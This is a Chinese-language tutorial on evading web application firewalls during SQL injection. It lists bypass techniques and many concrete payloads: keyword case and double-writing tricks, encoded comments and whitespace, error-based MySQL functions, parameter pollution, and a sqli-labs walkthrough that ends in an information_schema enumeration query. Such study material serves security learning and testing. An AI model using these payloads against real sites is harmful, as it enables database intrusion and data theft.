0x00 前言
Null
0x01 白盒绕过
1. 分析代码
2. 绕过限制
- 大小写变形:
Or
,OR
,oR
,适用于正则没有/i
- 等价替换:
and
->&&
,or
->||
- 双写:
or
->oorr
0x02 黑盒绕过
参考seceditor@MottoIN《WAF攻防研究之四个层次Bypass WAF》(mottoin.com/detail/359.html)
一、架构层绕过WAF
- 寻找源站(原始IP地址)->针对云WAF
- 利用同网段主机进行渗透->绕过WAF防护区域
- 利用边界漏洞(如利用SSRF)->绕过WAF防护区域
二、资源限制角度绕过WAF
POST大BODY(WAF可能会为了性能选择性忽略大数据包)
三、协议层面绕过WAF检测
1. 协议未覆盖
- 请求方式变换:GET->POST
Content-Type: application/x-www-form-urlencoded
->multipart/form-data
2. 参数污染
检测:?id=1&id=2
,WAF可能只检测第一个不检测第二个,中间件可能用第二个覆盖第一个
四、规则层面的绕过(绕过WAF规则)
1. SQL注释符绕过
-
union/**/select
-
union/*aaaa%0xbbs*/select
-
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select /*(中间插入超长注释)*/
- 内联注释:
/*!xxx*/
2. 空白符绕过
-
MySQL空白符:
%09
,%0A
,%0B
,%0D
,%20
,%0C
,%A0
,/*xxx*/
- 正则的空白符:
%09
,%0A
,%0B
,%0D
,%20
- 例1:
union%250Cselect
(%25即“%”,“%250C”即”%0C”)
- 例2:
union%25A0select
- 例1:
- 函数分割符号
-
concat%2520(
-
concat/**/(
-
concat%250C(
-
concat%25a0(
-
- 浮点数词法解析(WAF可能对int/字符型+union select进行匹配,则用浮点型+union select)
-
where id=8E0union select
-
where id=8.0union select
-
where id=\Nunion select
-
- 利用error-based进行SQL注入(Error-based SQL注入函数非常容易被忽略)
-
extractvalue(1,concat(0x5c,md5(3)));
-
updatexml(1,concat(0x5d,md5(3),1);
-
GeometryCollection((select*from(select*from(select@@version)f)x))
-
ploygon((select*from(select name_const(version(),1))x))
-
linestring()
-
multpoint()
-
multilineString()
-
multipolygon()
-
- MySQL特殊语法
select{x table_name}from{x information_schema.tables};
Fuzz绕过WAF
例1:注释符绕过
先测试最基本的:
union/**/select
再测试中间引入特殊字:
union/*aaaa%0xbbs*/select
最后测试注释长度:
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
模式:
union/*something*/select
例2:sqli-labs题解
- 检测:参数加单引号报错
- Fuzz: 把空格(
%20
)替换为/**/
,然后用脚本或bp在注释中插随机特殊字符进行Fuzz,如数字1
、字母a
、!
、@
、#
、$
、%
、'
等,通过响应长度、payload是否符合语法、响应是否报错判断发现/*%!%2f*/
可绕过该WAF - 把参数中的空格(
%20
)全部替换为/*%!%2f*/
进行下一步测试 order by
判断字段数为3个union select 1, 2, 3
,发现2
和3
出现在页面上,故这两个位置可回显结果union select 1, user(), 3
,发现又被拦截,可知可能是user()
被匹配到,故改成user/*%!%2f*/()
,查询成功-
union select 1, (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 3--
//End of Article
参考文献: